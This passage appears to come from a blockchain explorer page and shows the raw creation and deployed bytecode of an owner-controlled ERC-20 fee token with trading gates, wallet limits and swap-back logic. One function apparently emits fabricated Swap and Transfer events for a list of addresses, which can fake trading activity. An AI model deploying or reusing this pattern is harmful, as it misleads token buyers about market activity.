5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60115481565b6118346120db565b73ffffffffffffffffffffffffffffffffffffffff166118526118e0565b73ffffffffffffffffffffffffffffffffffffffff16146118a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189f90613dfd565b60405180910390fd5b6001600c60016101000a81548160ff0219169083151502179055506001600c60026101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60145481565b61193e6120db565b73ffffffffffffffffffffffffffffffffffffffff1661195c6118e0565b73ffffffffffffffffffffffffffffffffffffffff16146119b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a990613dfd565b60405180910390fd5b80600c60026101000a81548160ff02191690831515021790555050565b6060600480546119de90613f3d565b80601f0160208091040260200160405190810160405280929190818152602001828054611a0a90613f3d565b8015611a575780601f10611a2c57610100808354040283529160200191611a57565b820191906000526020600020905b815481529060010190602001808311611a3a57829003601f168201915b5050505050905090565b611a696120db565b73ffffffffffffffffffffffffffffffffffffffff16611a876118e0565b73ffffffffffffffffffffffffffffffffffffffff1614611add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad490613dfd565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6390614264565b60405180910390fd5b611b768282612fb4565b5050565b60165481565b60005b84849050811015611d0457848482818110611ba157611ba0614284565b5b9050602002016020810190611bb69190613a7a565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051611c3b94939291906142ee565b60405180910390a3848482818110611c5657611c55614284565b5b9050602002016020810190611c6b9190613a7a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ce99190613b30565b60405180910390a38080611cfc90614333565b915050611b83565b5050505050565b6000611d1f611d186120db565b84846122ae565b6001905092915050565b611d316120db565b73ffffffffffffffffffffffffffffffffffffffff16611d4f6118e0565b73ffffffffffffffffffffffffffffffffffffffff1614611da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9c90613dfd565b60405180910390fd5b8160138190555080601481905550601454601354611dc39190613e4c565b6012819055505050565b60196020528060005260406000206000915054906101000a900460ff1681565b600c60019054906101000a900460ff1681565b611e086120db565b73ffffffffffffffffffffffffffffffffffffffff16611e266118e0565b73ffffffffffffffffffffffffffffffffffffffff1614611e7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7390613dfd565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f199190613a5f565b60405180910390a25050565b600e60009054906101000a900460ff1681565b60095481565b600f5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b60105481565b611fdf6120db565b73ffffffffffffffffffffffffffffffffffffffff16611ffd6118e0565b73ffffffffffffffffffffffffffffffffffffffff1614612053576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204a90613dfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ba906143ee565b60405180910390fd5b6120cc81612eee565b50565b60135481565b600b5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214a90614480565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156121c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ba90614512565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516122a19190613b30565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561231e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612315906145a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561238e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238590614636565b60405180910390fd5b60008114156123a8576123a383836000613055565b612ee9565b600c60009054906101000a900460ff1615612a77576123c56118e0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561243357506124036118e0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561246c5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156124a6575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156124bf5750600560149054906101000a900460ff16155b15612a7657600c60019054906101000a900460ff166125b957601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125795750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6125b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125af906146a2565b60405180910390fd5b5b600e60009054906101000a900460ff161561278d576125d66118e0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561265d57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156126b557507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561278c57436001600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127079190613e4c565b10612747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273e9061475a565b60405180910390fd5b43600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156128305750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128d75760095481111561287a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612871906147ec565b60405180910390fd5b600b54612886836115cc565b826128919190613e4c565b11156128d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c990614858565b60405180910390fd5b612a75565b601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561297a5750601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c9576009548111156129c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bb906148ea565b60405180910390fd5b612a74565b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a7357600b54612a26836115cc565b82612a319190613e4c565b1115612a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6990614858565b60405180910390fd5b5b5b5b5b5b6000612a82306115cc565b90506000600a548210159050808015612aa75750600c60029054906101000a900460ff165b8015612ac05750600560149054906101000a900460ff16155b8015612b165750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612b6c5750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612bc25750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c06576001600560146101000a81548160ff021916908315150217905550612bea6132d6565b6000600560146101000a81548160ff0219169083151502179055505b6000600560149054906101000a900460ff16159050601760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612cbc5750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612cc657600090505b60008115612ed957601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612d2957506000601254115b15612dc357612d566064612d48601254886134e390919063ffffffff16565b6134f990919063ffffffff16565b905060125460135482612d69919061490a565b612d739190614993565b60156000828254612d849190613e4c565b9250508190555060125460145482612d9c919061490a565b612da69190614993565b60166000828254612db79190613e4c565b92505081905550612eb5565b601960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612e1e57506000600f54115b15612eb457612e4b6064612e3d600f54886134e390919063ffffffff16565b6134f990919063ffffffff16565b9050600f5460105482612e5e919061490a565b612e689190614993565b60156000828254612e799190613e4c565b92505081905550600f5460115482612e91919061490a565b612e9b9190614993565b60166000828254612eac9190613e4c565b925050819055505b5b6000811115612eca57612ec9873083613055565b5b8085612ed691906149c4565b94505b612ee4878787613055565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156130c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130bc906145a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613135576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312c90614636565b60405180910390fd5b61314083838361350f565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156131c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131bd90614a6a565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132599190613e4c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516132bd9190613b30565b60405180910390a36132d0848484613514565b50505050565b60006132e1306115cc565b905060006016546015546132f59190613e4c565b90506000808314806133075750600082145b15613314575050506134e1565b6014600a54613323919061490a565b83111561333c576014600a54613339919061490a565b92505b60006002836015548661334f919061490a565b6133599190614993565b6133639190614993565b9050600061337a828661351990919063ffffffff16565b9050600047905061338a8261352f565b600061339f824761351990919063ffffffff16565b905060006133ca876133bc601654856134e390919063ffffffff16565b6134f990919063ffffffff16565b9050600081836133da91906149c4565b905060006015819055506000601681905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260405161343290614abb565b60006040518083038185875af1925050503d806000811461346f576040519150601f19603f3d011682016040523d82523d6000602084013e613474565b606091505b50508097505060008611801561348a5750600081115b156134d757613499868261377b565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185826015546040516134ce93929190614ad0565b60405180910390a15b5050505050505050505b565b600081836134f1919061490a565b905092915050565b600081836135079190614993565b905092915050565b505050565b505050565b6000818361352791906149c4565b905092915050565b6000600267ffffffffffffffff81111561354c5761354b614b07565b5b60405190808252806020026020018201604052801561357a5781602001602082028036833780820191505090505b509050308160008151811061359257613591614284565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561363257600080fd5b505afa158015613646573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061366a9190614b4b565b8160018151811061367e5761367d614284565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506136e3307f0000000000000000000000000000000000000000000000000000000000000000846120e3565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613745959493929190614c36565b600060405180830381600087803b15801561375f57600080fd5b505af1158015613773573d6000803e3d6000fd5b505050505050565b6137a6307f0000000000000000000000000000000000000000000000000000000000000000846120e3565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806137f06118e0565b426040518863ffffffff1660e01b815260040161381296959493929190614c90565b6060604051808303818588803b15801561382b57600080fd5b505af115801561383f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906138649190614cf1565b5050505050565b600080fd5b600080fd5b6000819050919050565b61388881613875565b811461389357600080fd5b50565b6000813590506138a58161387f565b92915050565b600080604083850312156138c2576138c161386b565b5b60006138d085828601613896565b92505060206138e185828601613896565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561392557808201518184015260208101905061390a565b83811115613934576000848401525b50505050565b6000601f19601f8301169050919050565b6000613956826138eb565b61396081856138f6565b9350613970818560208601613907565b6139798161393a565b840191505092915050565b6000602082019050818103600083015261399e818461394b565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006139d1826139a6565b9050919050565b6139e1816139c6565b81146139ec57600080fd5b50565b6000813590506139fe816139d8565b92915050565b60008060408385031215613a1b57613a1a61386b565b5b6000613a29858286016139ef565b9250506020613a3a85828601613896565b9150509250929050565b60008115159050919050565b613a5981613a44565b82525050565b6000602082019050613a746000830184613a50565b92915050565b600060208284031215613a9057613a8f61386b565b5b6000613a9e848285016139ef565b91505092915050565b6000819050919050565b6000613acc613ac7613ac2846139a6565b613aa7565b6139a6565b9050919050565b6000613ade82613ab1565b9050919050565b6000613af082613ad3565b9050919050565b613b0081613ae5565b82525050565b6000602082019050613b1b6000830184613af7565b92915050565b613b2a81613875565b82525050565b6000602082019050613b456000830184613b21565b92915050565b600080600060608486031215613b6457613b6361386b565b5b6000613b72868287016139ef565b9350506020613b83868287016139ef565b9250506040613b9486828701613896565b9150509250925092565b613ba7816139c6565b82525050565b6000602082019050613bc26000830184613b9e565b92915050565b600060ff82169050919050565b613bde81613bc8565b82525050565b6000602082019050613bf96000830184613bd5565b92915050565b60008060408385031215613c1657613c1561386b565b5b6000613c24858286016139ef565b9250506020613c35858286016139ef565b9150509250929050565b613c4881613a44565b8114613c5357600080fd5b50565b600081359050613c6581613c3f565b92915050565b60008060408385031215613c8257613c8161386b565b5b6000613c90858286016139ef565b9250506020613ca185828601613c56565b9150509250929050565b600060208284031215613cc157613cc061386b565b5b6000613ccf84828501613c56565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112613cfd57613cfc613cd8565b5b8235905067ffffffffffffffff811115613d1a57613d19613cdd565b5b602083019150836020820283011115613d3657613d35613ce2565b5b9250929050565b60008060008060608587031215613d5757613d5661386b565b5b600085013567ffffffffffffffff811115613d7557613d74613870565b5b613d8187828801613ce7565b94509450506020613d9487828801613896565b9250506040613da587828801613896565b91505092959194509250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613de76020836138f6565b9150613df282613db1565b602082019050919050565b60006020820190508181036000830152613e1681613dda565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613e5782613875565b9150613e6283613875565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613e9757613e96613e1d565b5b828201905092915050565b7f53656c6c20466565000000000000000000000000000000000000000000000000600082015250565b6000613ed86008836138f6565b9150613ee382613ea2565b602082019050919050565b60006020820190508181036000830152613f0781613ecb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613f5557607f821691505b60208210811415613f6957613f68613f0e565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613fcb6028836138f6565b9150613fd682613f6f565b604082019050919050565b60006020820190508181036000830152613ffa81613fbe565b9050919050565b7f5f746f6b656e20616464726573732063616e6e6f742062652030000000000000600082015250565b6000614037601a836138f6565b915061404282614001565b602082019050919050565b600060208201905081810360008301526140668161402a565b9050919050565b7f43616e2774207769746864726177206e617469766520746f6b656e7300000000600082015250565b60006140a3601c836138f6565b91506140ae8261406d565b602082019050919050565b600060208201905081810360008301526140d281614096565b9050919050565b6000815190506140e88161387f565b92915050565b6000602082840312156141045761410361386b565b5b6000614112848285016140d9565b91505092915050565b60006040820190506141306000830185613b9e565b61413d6020830184613b21565b9392505050565b60008151905061415381613c3f565b92915050565b60006020828403121561416f5761416e61386b565b5b600061417d84828501614144565b91505092915050565b7f4275792046656500000000000000000000000000000000000000000000000000600082015250565b60006141bc6007836138f6565b91506141c782614186565b602082019050919050565b600060208201905081810360008301526141eb816141af565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b600061424e6039836138f6565b9150614259826141f2565b604082019050919050565b6000602082019050818103600083015261427d81614241565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006142d86142d36142ce846142b3565b613aa7565b613875565b9050919050565b6142e8816142bd565b82525050565b60006080820190506143036000830187613b21565b61431060208301866142df565b61431d60408301856142df565b61432a6060830184613b21565b95945050505050565b600061433e82613875565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561437157614370613e1d565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006143d86026836138f6565b91506143e38261437c565b604082019050919050565b60006020820190508181036000830152614407816143cb565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061446a6024836138f6565b91506144758261440e565b604082019050919050565b600060208201905081810360008301526144998161445d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006144fc6022836138f6565b9150614507826144a0565b604082019050919050565b6000602082019050818103600083015261452b816144ef565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061458e6025836138f6565b915061459982614532565b604082019050919050565b600060208201905081810360008301526145bd81614581565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006146206023836138f6565b915061462b826145c4565b604082019050919050565b6000602082019050818103600083015261464f81614613565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061468c6016836138f6565b915061469782614656565b602082019050919050565b600060208201905081810360008301526146bb8161467f565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e65207075726368617365207065722074776f206260208201527f6c6f636b7320616c6c6f7765642e000000000000000000000000000000000000604082015250565b6000614744604e836138f6565b915061474f826146c2565b606082019050919050565b6000602082019050818103600083015261477381614737565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006147d66035836138f6565b91506147e18261477a565b604082019050919050565b60006020820190508181036000830152614805816147c9565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006148426013836138f6565b915061484d8261480c565b602082019050919050565b6000602082019050818103600083015261487181614835565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006148d46036836138f6565b91506148df82614878565b604082019050919050565b60006020820190508181036000830152614903816148c7565b9050919050565b600061491582613875565b915061492083613875565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561495957614958613e1d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061499e82613875565b91506149a983613875565b9250826149b9576149b8614964565b5b828204905092915050565b60006149cf82613875565b91506149da83613875565b9250828210156149ed576149ec613e1d565b5b828203905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614a546026836138f6565b9150614a5f826149f8565b604082019050919050565b60006020820190508181036000830152614a8381614a47565b9050919050565b600081905092915050565b50565b6000614aa5600083614a8a565b9150614ab082614a95565b600082019050919050565b6000614ac682614a98565b9150819050919050565b6000606082019050614ae56000830186613b21565b614af26020830185613b21565b614aff6040830184613b21565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614b45816139d8565b92915050565b600060208284031215614b6157614b6061386b565b5b6000614b6f84828501614b36565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614bad816139c6565b82525050565b6000614bbf8383614ba4565b60208301905092915050565b6000602082019050919050565b6000614be382614b78565b614bed8185614b83565b9350614bf883614b94565b8060005b83811015614c29578151614c108882614bb3565b9750614c1b83614bcb565b925050600181019050614bfc565b5085935050505092915050565b600060a082019050614c4b6000830188613b21565b614c5860208301876142df565b8181036040830152614c6a8186614bd8565b9050614c796060830185613b9e565b614c866080830184613b21565b9695505050505050565b600060c082019050614ca56000830189613b9e565b614cb26020830188613b21565b614cbf60408301876142df565b614ccc60608301866142df565b614cd96080830185613b9e565b614ce660a0830184613b21565b979650505050505050565b600080600060608486031215614d0a57614d0961386b565b5b6000614d18868287016140d9565b9350506020614d29868287016140d9565b9250506040614d3a868287016140d9565b915050925092509256fea2646970667358221220e824605c23c1b5883a3e37bcae9d008d8ee79809ffbdab5b1d3023d8015d776764736f6c63430008090033

Deployed Bytecode

0x6080604052600436106102975760003560e01c80637bce5a041161015a578063b62496f5116100c1578063dd62ed3e1161007a578063dd62ed3e146109dd578063e2f4560514610a1a578063f11a24d314610a45578063f2fde38b14610a70578063f637434214610a99578063f8b45b0514610ac45761029e565b8063b62496f5146108cb578063bbc0c74214610908578063c024666814610933578063c876d0b91461095c578063c8c8ebe414610987578063d85ba063146109b25761029e565b806395d89b411161011357806395d89b41146107bd5780639a7a23d6146107e85780639fccce3214610811578063a1c617f51461083c578063a9059cbb14610865578063b390c0ab146108a25761029e565b80637bce5a04146106d15780638a8c523c146106fc5780638da5cb5b146107135780638ea5220f1461073e5780639213691314610769578063924de9b7146107945761029e565b80633ccfd60b116101fe5780636a486a8e116101b75780636a486a8e146105d35780636ddd1713146105fe57806370a0823114610629578063715018a614610666578063751039fc1461067d5780637571336a146106a85761029e565b80633ccfd60b146104d757806349bd5a5e146104ee5780634a62bb65146105195780634fbee1931461054457806366ca9b831461058157806366d38203146105aa5761029e565b80631816467f116102505780631816467f146103c75780631a8145bb146103f057806323b872dd1461041b57806327c8f83514610458578063313ce567146104835780633aeac4e1146104ae5761029e565b806302dbd8f8146102a357806306fdde03146102cc578063095ea7b3146102f757806310d5de53146103345780631694505e1461037157806318160ddd1461039c5761029e565b3661029e57005b600080fd5b3480156102af57600080fd5b506102ca60048036038101906102c591906138ab565b610aef565b005b3480156102d857600080fd5b506102e1610bd9565b6040516102ee9190613984565b60405180910390f35b34801561030357600080fd5b5061031e60048036038101906103199190613a04565b610c6b565b60405161032b9190613a5f565b60405180910390f35b34801561034057600080fd5b5061035b60048036038101906103569190613a7a565b610c89565b6040516103689190613a5f565b60405180910390f35b34801561037d57600080fd5b50610386610ca9565b6040516103939190613b06565b60405180910390f35b3480156103a857600080fd5b506103b1610ccd565b6040516103be9190613b30565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e99190613a7a565b610cd7565b005b3480156103fc57600080fd5b50610405610e13565b6040516104129190613b30565b60405180910390f35b34801561042757600080fd5b50610442600480360381019061043d9190613b4b565b610e19565b60405161044f9190613a5f565b60405180910390f35b34801561046457600080fd5b5061046d610f11565b60405161047a9190613bad565b60405180910390f35b34801561048f57600080fd5b50610498610f17565b6040516104a59190613be4565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190613bff565b610f20565b005b3480156104e357600080fd5b506104ec61119b565b005b3480156104fa57600080fd5b5061050361137c565b6040516105109190613bad565b60405180910390f35b34801561052557600080fd5b5061052e6113a0565b60405161053b9190613a5f565b60405180910390f35b34801561055057600080fd5b5061056b60048036038101906105669190613a7a565b6113b3565b6040516105789190613a5f565b60405180910390f35b34801561058d57600080fd5b506105a860048036038101906105a391906138ab565b611409565b005b3480156105b657600080fd5b506105d160048036038101906105cc9190613a7a565b6114f3565b005b3480156105df57600080fd5b506105e86115b3565b6040516105f59190613b30565b60405180910390f35b34801561060a57600080fd5b506106136115b9565b6040516106209190613a5f565b60405180910390f35b34801561063557600080fd5b50610650600480360381019061064b9190613a7a565b6115cc565b60405161065d9190613b30565b60405180910390f35b34801561067257600080fd5b5061067b611614565b005b34801561068957600080fd5b506106926116af565b60405161069f9190613a5f565b60405180910390f35b3480156106b457600080fd5b506106cf60048036038101906106ca9190613c6b565b61174f565b005b3480156106dd57600080fd5b506106e6611826565b6040516106f39190613b30565b60405180910390f35b34801561070857600080fd5b5061071161182c565b005b34801561071f57600080fd5b506107286118e0565b6040516107359190613bad565b60405180910390f35b34801561074a57600080fd5b5061075361190a565b6040516107609190613bad565b60405180910390f35b34801561077557600080fd5b5061077e611930565b60405161078b9190613b30565b60405180910390f35b3480156107a057600080fd5b506107bb60048036038101906107b69190613cab565b611936565b005b3480156107c957600080fd5b506107d26119cf565b6040516107df9190613984565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a9190613c6b565b611a61565b005b34801561081d57600080fd5b50610826611b7a565b6040516108339190613b30565b60405180910390f35b34801561084857600080fd5b50610863600480360381019061085e9190613d3d565b611b80565b005b34801561087157600080fd5b5061088c60048036038101906108879190613a04565b611d0b565b6040516108999190613a5f565b60405180910390f35b3480156108ae57600080fd5b506108c960048036038101906108c491906138ab565b611d29565b005b3480156108d757600080fd5b506108f260048036038101906108ed9190613a7a565b611dcd565b6040516108ff9190613a5f565b60405180910390f35b34801561091457600080fd5b5061091d611ded565b60405161092a9190613a5f565b60405180910390f35b34801561093f57600080fd5b5061095a60048036038101906109559190613c6b565b611e00565b005b34801561096857600080fd5b50610971611f25565b60405161097e9190613a5f565b60405180910390f35b34801561099357600080fd5b5061099c611f38565b6040516109a99190613b30565b60405180910390f35b3480156109be57600080fd5b506109c7611f3e565b6040516109d49190613b30565b60405180910390f35b3480156109e957600080fd5b50610a0460048036038101906109ff9190613bff565b611f44565b604051610a119190613b30565b60405180910390f35b348015610a2657600080fd5b50610a2f611fcb565b604051610a3c9190613b30565b60405180910390f35b348015610a5157600080fd5b50610a5a611fd1565b604051610a679190613b30565b60405180910390f35b348015610a7c57600080fd5b50610a976004803603810190610a929190613a7a565b611fd7565b005b348015610aa557600080fd5b50610aae6120cf565b604051610abb9190613b30565b60405180910390f35b348015610ad057600080fd5b50610ad96120d5565b604051610ae69190613b30565b60405180910390f35b610af76120db565b73ffffffffffffffffffffffffffffffffffffffff16610b156118e0565b73ffffffffffffffffffffffffffffffffffffffff1614610b6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6290613df